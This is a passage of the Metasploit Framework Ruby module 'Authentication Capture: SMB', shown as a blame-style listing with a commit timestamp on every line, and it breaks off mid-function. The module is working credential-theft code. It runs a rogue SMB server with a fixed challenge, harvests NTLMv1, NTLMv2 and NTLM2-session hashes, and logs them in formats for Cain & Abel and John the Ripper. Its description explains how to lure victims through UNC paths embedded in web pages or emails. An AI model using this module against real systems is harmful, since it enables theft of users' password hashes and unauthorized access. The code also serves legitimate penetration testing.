2007-07-03 04:33:54 +00:00
##
2008-04-21 05:27:06 +00:00
# $Id$
2007-07-03 04:33:54 +00:00
##
##
2010-03-27 22:13:50 +00:00
# This file is part of the Metasploit Framework and may be subject to
2007-07-03 04:33:54 +00:00
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
2009-04-13 14:33:26 +00:00
# http://metasploit.com/framework/
2007-07-03 04:33:54 +00:00
##
require 'msf/core'
2008-10-02 05:23:59 +00:00
class Metasploit3 < Msf :: Auxiliary
2007-07-03 04:33:54 +00:00
2008-10-02 05:23:59 +00:00
include Msf :: Auxiliary :: Report
include Msf :: Exploit :: Remote :: SMBServer
2010-03-27 22:13:50 +00:00
2007-07-03 04:33:54 +00:00
def initialize
super (
2008-03-02 04:46:13 +00:00
'Name' = > 'Authentication Capture: SMB' ,
2008-04-21 05:27:06 +00:00
'Version' = > '$Revision$' ,
2007-07-03 04:33:54 +00:00
'Description' = > %q{
This module provides a SMB service that can be used to
capture the challenge - response password hashes of SMB client
2011-01-30 19:26:35 +00:00
systems . Responses sent by this service have by default the
configurable challenge string ( \ x11 \ x22 \ x33 \ x44 \ x55 \ x66 \ x77 \ x88 ) ,
allowing for easy cracking using Cain & Abel , L0phtcrack
or John the ripper ( with jumbo patch ) .
2010-03-27 22:13:50 +00:00
2007-12-31 03:03:08 +00:00
To exploit this , the target system must try to authenticate
2007-07-03 04:33:54 +00:00
to this module . The easiest way to force a SMB authentication attempt
2010-03-27 22:13:50 +00:00
is by embedding a UNC path ( \ \ \ \ SERVER \ \ SHARE ) into a web page or
email message . When the victim views the web page or email , their
2007-07-03 04:33:54 +00:00
system will automatically connect to the server specified in the UNC
share ( the IP address of the system running this module ) and attempt
to authenticate .
} ,
'Author' = > 'hdm' ,
'License' = > MSF_LICENSE ,
'Actions' = >
[
2010-09-20 08:06:27 +00:00
[ 'Sniffer' ]
2007-07-03 04:33:54 +00:00
] ,
2010-03-27 22:13:50 +00:00
'PassiveActions' = >
2007-07-03 04:33:54 +00:00
[
'Sniffer'
] ,
'DefaultAction' = > 'Sniffer'
)
2010-03-27 22:13:50 +00:00
2007-07-03 04:33:54 +00:00
register_options (
[
2011-01-30 19:26:35 +00:00
OptString . new ( 'LOGFILE' , [ false , " The local filename to store the captured hashes " , nil ] ) ,
OptString . new ( 'CAINPWFILE' , [ false , " The local filename to store the hashes in Cain&Abel format " , nil ] ) ,
OptString . new ( 'JOHNPWFILE' , [ false , " The prefix to the local filename to store the hashes in JOHN format " , nil ] ) ,
OptString . new ( 'CHALLENGE' , [ true , " The 8 byte challenge " , " 1122334455667788 " ] )
2010-03-27 22:13:50 +00:00
] , self . class )
2011-01-30 19:26:35 +00:00
register_advanced_options (
[
2011-03-07 19:57:53 +00:00
OptBool . new ( " SMB_EXTENDED_SECURITY " , [ true , " Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification " , false ] ) ,
OptBool . new ( " NTLM_UseNTLM2_session " , [ true , " activate the 'Negotiate NTLM2 key' flag in ntlm authentification when smb extended security negociation is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above) " , false ] ) ,
2011-03-11 20:27:22 +00:00
OptBool . new ( " USE_GSS_NEGOCIATION " , [ true , " Send an gss_security blob in smb_negociate response when smb extended security is set, when this flag is not set windows will respond without gss encapsulation, ubuntu will still use gss " , true ] ) ,
2011-01-30 19:26:35 +00:00
OptString . new ( 'DOMAIN_NAME' , [ true , " The domain name used during smb exchange with smb extended security set " , " anonymous " ] )
] , self . class )
2007-07-03 04:33:54 +00:00
end
2011-03-07 19:57:53 +00:00
def run
2011-02-22 20:49:44 +00:00
@s_smb_esn = datastore [ 'SMB_EXTENDED_SECURITY' ]
2011-03-07 19:57:53 +00:00
@s_ntlm_esn = datastore [ 'NTLM_UseNTLM2_session' ]
2011-02-22 20:49:44 +00:00
@s_gss_neg = datastore [ 'USE_GSS_NEGOCIATION' ]
@domain_name = datastore [ 'DOMAIN_NAME' ]
2011-03-07 19:57:53 +00:00
2011-01-30 19:26:35 +00:00
@s_GUID = [ Rex :: Text . rand_text_hex ( 32 ) ] . pack ( 'H*' )
2010-09-21 00:06:18 +00:00
if datastore [ 'CHALLENGE' ] . to_s =~ / ^([a-fA-F0-9]{16})$ /
2010-09-23 21:17:41 +00:00
@challenge = [ datastore [ 'CHALLENGE' ] ] . pack ( " H* " )
2010-09-21 00:05:08 +00:00
else
2011-01-30 19:26:35 +00:00
print_error ( " CHALLENGE syntax must match 1122334455667788 " )
2010-09-21 00:05:08 +00:00
return
end
2011-01-30 19:26:35 +00:00
#those variables will prevent to spam the screen with identical hashes (works only with ntlmv1)
@previous_lm_hash = " none "
@previous_ntlm_hash = " none "
2007-07-03 04:33:54 +00:00
exploit ( )
end
def smb_cmd_dispatch ( cmd , c , buff )
smb = @state [ c ]
2011-01-30 19:26:35 +00:00
pkt = CONST :: SMB_BASE_PKT . make_struct
pkt . from_s ( buff )
#Record the IDs
smb [ :process_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ProcessID' ]
smb [ :user_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'UserID' ]
smb [ :tree_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'TreeID' ]
smb [ :multiplex_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'MultiplexID' ]
2007-07-03 04:33:54 +00:00
case cmd
when CONST :: SMB_COM_NEGOTIATE
2011-01-30 19:26:35 +00:00
#client set extended security negociation
if ( pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] & 0x800 != 0 )
smb_cmd_negotiate ( c , buff , true )
else
smb_cmd_negotiate ( c , buff , false )
end
2007-07-03 04:33:54 +00:00
when CONST :: SMB_COM_SESSION_SETUP_ANDX
2011-01-30 19:26:35 +00:00
wordcount = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ]
#CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security
#This packet contains the lm/ntlm hashes
if wordcount == 0x0D
smb_cmd_session_setup ( c , buff , false )
#CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security
2011-02-22 20:49:44 +00:00
# can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH,
2011-01-30 19:26:35 +00:00
elsif wordcount == 0x0C
smb_cmd_session_setup ( c , buff , true )
else
print_status ( " Unknow SMB_COM_SESSION_SETUP_ANDX request type , ignoring... " )
smb_error ( cmd , c , CONST :: SMB_STATUS_SUCCESS , @s_smb_esn )
end
2010-03-27 22:13:50 +00:00
2007-07-03 04:33:54 +00:00
when CONST :: SMB_COM_TREE_CONNECT
print_status ( " Denying tree connect from #{ smb [ :name ] } " )
2011-01-30 19:26:35 +00:00
smb_error ( cmd , c , SMB_SMB_STATUS_ACCESS_DENIED , @s_smb_esn )
2010-03-27 22:13:50 +00:00
else
2007-07-03 04:33:54 +00:00
print_status ( " Ignoring request from #{ smb [ :name ] } ( #{ cmd } ) " )
2011-01-30 19:26:35 +00:00
smb_error ( cmd , c , CONST :: SMB_STATUS_SUCCESS , @s_smb_esn )
2007-07-03 04:33:54 +00:00
end
2010-03-27 22:13:50 +00:00
end
2011-02-22 20:49:44 +00:00
2007-07-03 04:33:54 +00:00
2011-01-30 19:26:35 +00:00
def smb_cmd_negotiate ( c , buff , c_esn )
2007-07-03 04:33:54 +00:00
smb = @state [ c ]
pkt = CONST :: SMB_NEG_PKT . make_struct
pkt . from_s ( buff )
2010-03-27 22:13:50 +00:00
2011-01-30 19:26:35 +00:00
#Record the IDs
2007-07-03 04:33:54 +00:00
smb [ :process_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ProcessID' ]
2011-01-30 19:26:35 +00:00
smb [ :user_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'UserID' ]
smb [ :tree_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'TreeID' ]
smb [ :multiplex_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'MultiplexID' ]
2007-07-03 04:33:54 +00:00
group = ''
machine = smb [ :nbsrc ]
2010-03-27 22:13:50 +00:00
2007-07-03 04:33:54 +00:00
dialects = pkt [ 'Payload' ] . v [ 'Payload' ] . gsub ( / \ x00 / , '' ) . split ( / \ x02 / ) . grep ( / ^ \ w+ / )
# print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")
2010-03-27 22:13:50 +00:00
dialect =
dialects . index ( " NT LM 0.12 " ) ||
2007-07-03 04:33:54 +00:00
dialects . length - 1
pkt = CONST :: SMB_NEG_RES_NT_PKT . make_struct
smb_set_defaults ( c , pkt )
time_hi , time_lo = UTILS . time_unix_to_smb ( Time . now . to_i )
pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST :: SMB_COM_NEGOTIATE
pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 17
pkt [ 'Payload' ] . v [ 'Dialect' ] = dialect
pkt [ 'Payload' ] . v [ 'SecurityMode' ] = 3
pkt [ 'Payload' ] . v [ 'MaxMPX' ] = 2
2010-03-27 22:13:50 +00:00
pkt [ 'Payload' ] . v [ 'MaxVCS' ] = 1
2007-07-03 04:33:54 +00:00
pkt [ 'Payload' ] . v [ 'MaxBuff' ] = 4356
pkt [ 'Payload' ] . v [ 'MaxRaw' ] = 65536
2011-01-30 19:26:35 +00:00
pkt [ 'Payload' ] . v [ 'SystemTimeLow' ] = time_lo
pkt [ 'Payload' ] . v [ 'SystemTimeHigh' ] = time_hi
pkt [ 'Payload' ] . v [ 'ServerTimeZone' ] = 0x0
2007-07-03 04:33:54 +00:00
pkt [ 'Payload' ] . v [ 'SessionKey' ] = 0
2010-03-27 22:13:50 +00:00
2011-01-30 19:26:35 +00:00
if c_esn && @s_smb_esn then
pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc801
2011-02-22 20:49:44 +00:00
pkt [ 'Payload' ] . v [ 'Capabilities' ] = 0x8000e3fd
2011-01-30 19:26:35 +00:00
pkt [ 'Payload' ] . v [ 'KeyLength' ] = 0
2011-02-22 20:49:44 +00:00
pkt [ 'Payload' ] . v [ 'Payload' ] = @s_GUID
2011-01-30 19:26:35 +00:00
if @s_gss_neg then
2011-03-07 19:57:53 +00:00
pkt [ 'Payload' ] . v [ 'Payload' ] += NTLM_UTILS :: make_simple_negotiate_secblob_resp
2011-01-30 19:26:35 +00:00
end
2011-02-22 20:49:44 +00:00
2011-01-30 19:26:35 +00:00
else
pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
2011-02-22 20:49:44 +00:00
pkt [ 'Payload' ] . v [ 'Capabilities' ] = 0xe3fd
2011-01-30 19:26:35 +00:00
pkt [ 'Payload' ] . v [ 'KeyLength' ] = 8
pkt [ 'Payload' ] . v [ 'Payload' ] = @challenge +
Rex :: Text . to_unicode ( group ) + " \x00 \x00 " +
2011-02-22 20:49:44 +00:00
Rex :: Text . to_unicode ( machine ) + " \x00 \x00 "
2011-01-30 19:26:35 +00:00
end
2007-07-03 04:33:54 +00:00
c . put ( pkt . to_s )
end
2010-03-27 22:13:50 +00:00
2011-01-30 19:26:35 +00:00
def smb_cmd_session_setup ( c , buff , esn )
2007-07-03 04:33:54 +00:00
smb = @state [ c ]
2010-03-27 22:13:50 +00:00
2011-01-30 19:26:35 +00:00
#extended security has been negociated
if esn
pkt = CONST :: SMB_SETUP_NTLMV2_PKT . make_struct
pkt . from_s ( buff )
#Record the IDs
smb [ :process_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ProcessID' ]
smb [ :user_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'UserID' ]
smb [ :tree_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'TreeID' ]
smb [ :multiplex_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'MultiplexID' ]
securityblobLen = pkt [ 'Payload' ] . v [ 'SecurityBlobLen' ]
blob = pkt [ 'Payload' ] . v [ 'Payload' ] [ 0 , securityblobLen ]
#detect if GSS is being used
if blob [ 0 , 7 ] == 'NTLMSSP'
c_gss = false
else
c_gss = true
2011-02-22 20:49:44 +00:00
start = blob . index ( 'NTLMSSP' )
2011-01-30 19:26:35 +00:00
if start
blob . slice! ( 0 , start )
else
print_status ( " Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{ smb [ :name ] } , ignoring ... " )
smb_error ( CONST :: SMB_COM_SESSION_SETUP_ANDX , c , CONST :: SMB_STATUS_LOGON_FAILURE , true )
return
end
end
2011-03-07 19:57:53 +00:00
ntlm_message = NTLM_MESSAGE :: parse ( blob )
2011-01-30 19:26:35 +00:00
case ntlm_message
2011-03-07 19:57:53 +00:00
when NTLM_MESSAGE :: Type1
2011-01-30 19:26:35 +00:00
#Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet
2011-03-07 19:57:53 +00:00
if ( ntlm_message . flag & NTLM_CONST :: NEGOTIATE_NTLM2_KEY != 0 )
2011-01-30 19:26:35 +00:00
c_ntlm_esn = true
else
c_ntlm_esn = false
end
pkt = CONST :: SMB_SETUP_NTLMV2_RES_PKT . make_struct
pkt . from_s ( buff )
smb_set_defaults ( c , pkt )
pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST :: SMB_COM_SESSION_SETUP_ANDX
pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ErrorClass' ] = CONST :: SMB_STATUS_MORE_PROCESSING_REQUIRED
pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc807
pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 4
pkt [ 'Payload' ] [ 'SMB' ] . v [ 'UserID' ] = 2050
pkt [ 'Payload' ] . v [ 'AndX' ] = 0xFF
pkt [ 'Payload' ] . v [ 'Reserved1' ] = 0x00
pkt [ 'Payload' ] . v [ 'AndXOffset' ] = 283 #ignored by client
2011-02-22 20:49:44 +00:00
pkt [ 'Payload' ] . v [ 'Action' ] = 0x0000
2011-01-30 19:26:35 +00:00
win_domain = Rex :: Text . to_unicode ( @domain_name . upcase )
win_name = Rex :: Text . to_unicode ( @domain_name . upcase )
dns_domain = Rex :: Text . to_unicode ( @domain_name . downcase )
dns_name = Rex :: Text . to_unicode ( @domain_name . downcase )
#create the ntlmssp_challenge security blob
if c_ntlm_esn && @s_ntlm_esn
sb_flag = 0xe28a8215 # ntlm2
else
sb_flag = 0xe2828215 #no ntlm2
end
if c_gss
2011-03-07 19:57:53 +00:00
securityblob = NTLM_UTILS :: make_ntlmssp_secblob_chall ( win_domain ,
2011-02-22 20:49:44 +00:00
win_name ,
dns_domain ,
dns_name ,
@challenge ,
2011-01-30 19:26:35 +00:00
sb_flag )
else
2011-03-07 19:57:53 +00:00
securityblob = NTLM_UTILS :: make_ntlmssp_blob_chall ( win_domain ,
2011-02-22 20:49:44 +00:00
win_name ,
dns_domain ,
dns_name ,
@challenge ,
2011-01-30 19:26:35 +00:00
sb_flag )
end
pkt [ 'Payload' ] . v [ 'SecurityBlobLen' ] = securityblob . length
pkt [ 'Payload' ] . v [ 'Payload' ] = securityblob
c . put ( pkt . to_s )
2011-03-07 19:57:53 +00:00
when NTLM_MESSAGE :: Type3
2011-01-30 19:26:35 +00:00
#we can process the hash and send a status_logon_failure response packet
# Record the remote multiplex ID
smb [ :multiplex_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'MultiplexID' ]
lm_len = ntlm_message . lm_response . length # Always 24
nt_len = ntlm_message . ntlm_response . length
2011-02-22 20:49:44 +00:00
2011-01-30 19:26:35 +00:00
if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session
2011-03-07 19:57:53 +00:00
arg = { :ntlm_ver = > NTLM_CONST :: NTLM_V1_RESPONSE ,
2011-01-30 19:26:35 +00:00
:lm_hash = > ntlm_message . lm_response . unpack ( 'H*' ) [ 0 ] ,
:nt_hash = > ntlm_message . ntlm_response . unpack ( 'H*' ) [ 0 ]
}
if @s_ntlm_esn && arg [ :lm_hash ] [ 16 , 32 ] == '0' * 32
2011-03-07 19:57:53 +00:00
arg [ :ntlm_ver ] = NTLM_CONST :: NTLM_2_SESSION_RESPONSE
2011-01-30 19:26:35 +00:00
end
#if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response
elsif nt_len > 24 #lmv2/ntlmv2
2011-03-07 19:57:53 +00:00
arg = { :ntlm_ver = > NTLM_CONST :: NTLM_V2_RESPONSE ,
2011-01-30 19:26:35 +00:00
:lm_hash = > ntlm_message . lm_response [ 0 , 16 ] . unpack ( 'H*' ) [ 0 ] ,
:lm_cli_challenge = > ntlm_message . lm_response [ 16 , 8 ] . unpack ( 'H*' ) [ 0 ] ,
:nt_hash = > ntlm_message . ntlm_response [ 0 , 16 ] . unpack ( 'H*' ) [ 0 ] ,
:nt_cli_challenge = > ntlm_message . ntlm_response [ 16 , nt_len - 16 ] . unpack ( 'H*' ) [ 0 ]
}
2011-02-22 20:49:44 +00:00
elsif nt_len == 0
2011-01-30 19:26:35 +00:00
print_status ( " Empty hash from #{ smb [ :name ] } captured, ignoring ... " )
smb_error ( CONST :: SMB_COM_SESSION_SETUP_ANDX , c , CONST :: SMB_STATUS_LOGON_FAILURE , true )
return
else
print_status ( " Unknow hash type from #{ smb [ :name ] } , ignoring ... " )
smb_error ( CONST :: SMB_COM_SESSION_SETUP_ANDX , c , CONST :: SMB_STATUS_LOGON_FAILURE , true )
return
end
2011-02-22 20:49:44 +00:00
2011-01-30 19:26:35 +00:00
buff = pkt [ 'Payload' ] . v [ 'Payload' ]
buff . slice! ( 0 , securityblobLen )
names = buff . split ( " \x00 \x00 " ) . map { | x | x . gsub ( / \ x00 / , '' ) }
smb [ :username ] = ntlm_message . user
smb [ :domain ] = ntlm_message . domain
smb [ :peer_os ] = names [ 0 ]
smb [ :peer_lm ] = names [ 1 ]
begin
2011-05-22 14:05:55 +00:00
smb_get_hash ( smb , arg , true )
2011-01-30 19:26:35 +00:00
rescue :: Exception = > e
print_status ( " Error processing Hash from #{ smb [ :name ] } ( #{ cmd } ): #{ e . class } #{ e } #{ e . backtrace } " )
end
smb_error ( CONST :: SMB_COM_SESSION_SETUP_ANDX , c , CONST :: SMB_STATUS_LOGON_FAILURE , true )
else
smb_error ( CONST :: SMB_COM_SESSION_SETUP_ANDX , c , CONST :: SMB_STATUS_LOGON_FAILURE , true )
end
2011-02-22 20:49:44 +00:00
2011-01-30 19:26:35 +00:00
#if not we can get the hash and send a status_access_denied response packet
else
2010-03-27 22:13:50 +00:00
2011-01-30 19:26:35 +00:00
pkt = CONST :: SMB_SETUP_NTLMV1_PKT . make_struct
pkt . from_s ( buff )
# Record the IDs
smb [ :process_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ProcessID' ]
smb [ :user_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'UserID' ]
smb [ :tree_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'TreeID' ]
smb [ :multiplex_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'MultiplexID' ]
lm_len = pkt [ 'Payload' ] . v [ 'PasswordLenLM' ] # Always 24
nt_len = pkt [ 'Payload' ] . v [ 'PasswordLenNT' ]
2011-02-22 20:49:44 +00:00
if nt_len == 24
2011-03-07 19:57:53 +00:00
arg = { :ntlm_ver = > NTLM_CONST :: NTLM_V1_RESPONSE ,
2011-01-30 19:26:35 +00:00
:lm_hash = > pkt [ 'Payload' ] . v [ 'Payload' ] [ 0 , lm_len ] . unpack ( " H* " ) [ 0 ] ,
:nt_hash = > pkt [ 'Payload' ] . v [ 'Payload' ] [ lm_len , nt_len ] . unpack ( " H* " ) [ 0 ]
}
#if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response
elsif nt_len > 24
2011-03-07 19:57:53 +00:00
arg = { :ntlm_ver = > NTLM_CONST :: NTLM_V2_RESPONSE ,
2011-01-30 19:26:35 +00:00
:lm_hash = > pkt [ 'Payload' ] . v [ 'Payload' ] [ 0 , 16 ] . unpack ( " H* " ) [ 0 ] ,
:lm_cli_challenge = > pkt [ 'Payload' ] . v [ 'Payload' ] [ 16 , 8 ] . unpack ( " H* " ) [ 0 ] ,
:nt_hash = > pkt [ 'Payload' ] . v [ 'Payload' ] [ lm_len , 16 ] . unpack ( " H* " ) [ 0 ] ,
:nt_cli_challenge = > pkt [ 'Payload' ] . v [ 'Payload' ] [ lm_len + 16 , nt_len - 16 ] . unpack ( " H* " ) [ 0 ]
}
elsif nt_len == 0
print_status ( " Empty hash captured from #{ smb [ :name ] } captured, ignoring ... " )
smb_error ( CONST :: SMB_COM_SESSION_SETUP_ANDX , c , CONST :: SMB_STATUS_LOGON_FAILURE , true )
return
else
print_status ( " Unknow hash type capture from #{ smb [ :name ] } , ignoring ... " )
smb_error ( CONST :: SMB_COM_SESSION_SETUP_ANDX , c , CONST :: SMB_STATUS_LOGON_FAILURE , true )
return
end
buff = pkt [ 'Payload' ] . v [ 'Payload' ]
buff . slice! ( 0 , lm_len + nt_len )
names = buff . split ( " \x00 \x00 " ) . map { | x | x . gsub ( / \ x00 / , '' ) }
smb [ :username ] = names [ 0 ]
smb [ :domain ] = names [ 1 ]
smb [ :peer_os ] = names [ 2 ]
smb [ :peer_lm ] = names [ 3 ]
begin
2011-05-22 14:05:55 +00:00
smb_get_hash ( smb , arg , false )
2011-01-30 19:26:35 +00:00
rescue :: Exception = > e
print_status ( " Error processing Hash from #{ smb [ :name ] } ( #{ cmd } ): #{ e . class } #{ e } #{ e . backtrace } " )
end
smb_error ( CONST :: SMB_COM_SESSION_SETUP_ANDX , c , CONST :: SMB_STATUS_LOGON_FAILURE , true )
2011-02-22 20:49:44 +00:00
end
2011-01-30 19:26:35 +00:00
end
2010-03-27 22:13:50 +00:00
2011-05-22 14:05:55 +00:00
def smb_get_hash ( smb , arg = { } , esn = true )
2011-01-30 19:26:35 +00:00
ntlm_ver = arg [ :ntlm_ver ]
2011-03-07 19:57:53 +00:00
if ntlm_ver == NTLM_CONST :: NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST :: NTLM_2_SESSION_RESPONSE
2011-01-30 19:26:35 +00:00
lm_hash = arg [ :lm_hash ]
nt_hash = arg [ :nt_hash ]
2011-02-22 20:49:44 +00:00
else
2011-01-30 19:26:35 +00:00
lm_hash = arg [ :lm_hash ]
nt_hash = arg [ :nt_hash ]
2011-02-22 20:49:44 +00:00
lm_cli_challenge = arg [ :lm_cli_challenge ]
nt_cli_challenge = arg [ :nt_cli_challenge ]
2011-01-30 19:26:35 +00:00
end
2010-03-27 22:13:50 +00:00
2007-07-03 04:33:54 +00:00
# Clean up the data for loggging
if ( smb [ :username ] == " " )
smb [ :username ] = nil
end
2010-03-27 22:13:50 +00:00
2007-07-03 04:33:54 +00:00
if ( smb [ :domain ] == " " )
smb [ :domain ] = nil
end
2010-08-18 00:58:20 +00:00
if smb [ :domain ]
smb [ :fullname ] = " #{ smb [ :domain ] } / #{ smb [ :username ] } "
else
smb [ :fullname ] = smb [ :username ] . to_s
end
2011-02-22 20:49:44 +00:00
2011-01-30 19:26:35 +00:00
unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then
@previous_lm_hash = lm_hash
@previous_ntlm_hash = nt_hash
2011-03-11 20:27:22 +00:00
# Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
case ntlm_ver
when NTLM_CONST :: NTLM_V1_RESPONSE
if NTLM_CRYPT :: is_hash_from_empty_pwd? ( { :hash = > [ nt_hash ] . pack ( " H* " ) , :srv_challenge = > @challenge ,
:ntlm_ver = > NTLM_CONST :: NTLM_V1_RESPONSE , :type = > 'ntlm' } )
print_status ( " NLMv1 Hash correspond to an empty password, ignoring ... " )
return
end
if ( lm_hash == nt_hash or lm_hash == " " or lm_hash =~ / ^0*$ / ) then
lm_hash_message = " Disabled "
elsif NTLM_CRYPT :: is_hash_from_empty_pwd? ( { :hash = > [ lm_hash ] . pack ( " H* " ) , :srv_challenge = > @challenge ,
:ntlm_ver = > NTLM_CONST :: NTLM_V1_RESPONSE , :type = > 'lm' } )
lm_hash_message = " Disabled (from empty password) "
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
when NTLM_CONST :: NTLM_V2_RESPONSE
if NTLM_CRYPT :: is_hash_from_empty_pwd? ( { :hash = > [ nt_hash ] . pack ( " H* " ) , :srv_challenge = > @challenge ,
:cli_challenge = > [ nt_cli_challenge ] . pack ( " H* " ) ,
:user = > Rex :: Text :: to_ascii ( smb [ :username ] ) ,
:domain = > Rex :: Text :: to_ascii ( smb [ :domain ] ) ,
:ntlm_ver = > NTLM_CONST :: NTLM_V2_RESPONSE , :type = > 'ntlm' } )
print_status ( " NTLMv2 Hash correspond to an empty password, ignoring ... " )
return
end
if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
lm_hash_message = " Disabled "
lm_chall_message = 'Disabled'
elsif NTLM_CRYPT :: is_hash_from_empty_pwd? ( { :hash = > [ lm_hash ] . pack ( " H* " ) , :srv_challenge = > @challenge ,
:cli_challenge = > [ lm_cli_challenge ] . pack ( " H* " ) ,
:user = > Rex :: Text :: to_ascii ( smb [ :username ] ) ,
:domain = > Rex :: Text :: to_ascii ( smb [ :domain ] ) ,
:ntlm_ver = > NTLM_CONST :: NTLM_V2_RESPONSE , :type = > 'lm' } )
lm_hash_message = " Disabled (from empty password) "
lm_chall_message = 'Disabled'
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
when NTLM_CONST :: NTLM_2_SESSION_RESPONSE
if NTLM_CRYPT :: is_hash_from_empty_pwd? ( { :hash = > [ nt_hash ] . pack ( " H* " ) , :srv_challenge = > @challenge ,
:cli_challenge = > [ lm_hash ] . pack ( " H* " ) [ 0 , 8 ] ,
:ntlm_ver = > NTLM_CONST :: NTLM_2_SESSION_RESPONSE , :type = > 'ntlm' } )
print_status ( " NTLM2_session Hash correspond to an empty password, ignoring ... " )
return
end
2011-01-30 19:26:35 +00:00
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
2011-02-22 20:49:44 +00:00
2011-05-22 14:05:55 +00:00
2011-03-11 20:27:22 +00:00
# Display messages
2011-05-22 14:05:55 +00:00
if esn
smb [ :username ] = Rex :: Text :: to_ascii ( smb [ :username ] )
smb [ :domain ] = Rex :: Text :: to_ascii ( smb [ :domain ] )
smb [ :fullname ] = Rex :: Text :: to_ascii ( smb [ :fullname ] )
end
2011-01-30 19:26:35 +00:00
capturedtime = Time . now . to_s
2011-03-11 20:27:22 +00:00
case ntlm_ver
2011-03-07 19:57:53 +00:00
when NTLM_CONST :: NTLM_V1_RESPONSE
2011-02-22 20:49:44 +00:00
capturelogmessage =
2011-01-30 19:26:35 +00:00
" #{ capturedtime } \n NTLMv1 Response Captured from #{ smb [ :name ] } \n " +
" #{ smb [ :domain ] } \\ #{ smb [ :username ] } OS: #{ smb [ :peer_os ] } LM: #{ smb [ :peer_lm ] } \n " +
" LMHASH: #{ lm_hash_message ? lm_hash_message : " <NULL> " } \n NTHASH: #{ nt_hash ? nt_hash : " <NULL> " } \n "
2011-03-07 19:57:53 +00:00
when NTLM_CONST :: NTLM_V2_RESPONSE
2011-02-22 20:49:44 +00:00
capturelogmessage =
2011-01-30 19:26:35 +00:00
" #{ capturedtime } \n NTLMv2 Response Captured from #{ smb [ :name ] } \n " +
" #{ smb [ :domain ] } \\ #{ smb [ :username ] } OS: #{ smb [ :peer_os ] } LM: #{ smb [ :peer_lm ] } \n " +
" LMHASH: #{ lm_hash_message ? lm_hash_message : " <NULL> " } " +
" LM_CLIENT_CHALLENGE: #{ lm_chall_message ? lm_chall_message : " <NULL> " } \n " +
" NTHASH: #{ nt_hash ? nt_hash : " <NULL> " } " +
" NT_CLIENT_CHALLENGE: #{ nt_cli_challenge ? nt_cli_challenge : " <NULL> " } \n "
2011-03-07 19:57:53 +00:00
when NTLM_CONST :: NTLM_2_SESSION_RESPONSE
2011-02-22 20:49:44 +00:00
capturelogmessage =
2011-01-30 19:26:35 +00:00
" #{ capturedtime } \n NTLM2_SESSION Response Captured from #{ smb [ :name ] } \n " +
" #{ smb [ :domain ] } \\ #{ smb [ :username ] } OS: #{ smb [ :peer_os ] } LM: #{ smb [ :peer_lm ] } \n " +
" NTHASH: #{ nt_hash ? nt_hash : " <NULL> " } \n " +
" NT_CLIENT_CHALLENGE: #{ lm_hash_message ? lm_hash_message [ 0 , 16 ] : " <NULL> " } \n "
else # should not happen
return
end
print_status ( capturelogmessage )
2011-03-11 20:27:22 +00:00
# DB reporting
2011-01-30 19:26:35 +00:00
report_auth_info (
:host = > smb [ :ip ] ,
:port = > datastore [ 'SRVPORT' ] ,
:sname = > 'smb_challenge' ,
:user = > smb [ :fullname ] ,
2011-02-22 20:49:44 +00:00
:pass = > ( lm_hash + lm_cli_challenge . to_s ? lm_hash + lm_cli_challenge . to_s : " <NULL> " ) + " : " +
( nt_hash + nt_cli_challenge . to_s ? nt_hash + nt_cli_challenge . to_s : " <NULL> " ) + " : " +
datastore [ 'CHALLENGE' ] . to_s ,
2011-01-30 19:26:35 +00:00
:type = > " smb_hash " ,
:proof = > " NAME= #{ smb [ :nbsrc ] } DOMAIN= #{ smb [ :domain ] } OS= #{ smb [ :peer_os ] } " ,
:active = > true
2008-11-19 20:42:17 +00:00
)
2010-03-27 22:13:50 +00:00
2011-01-30 19:26:35 +00:00
report_note (
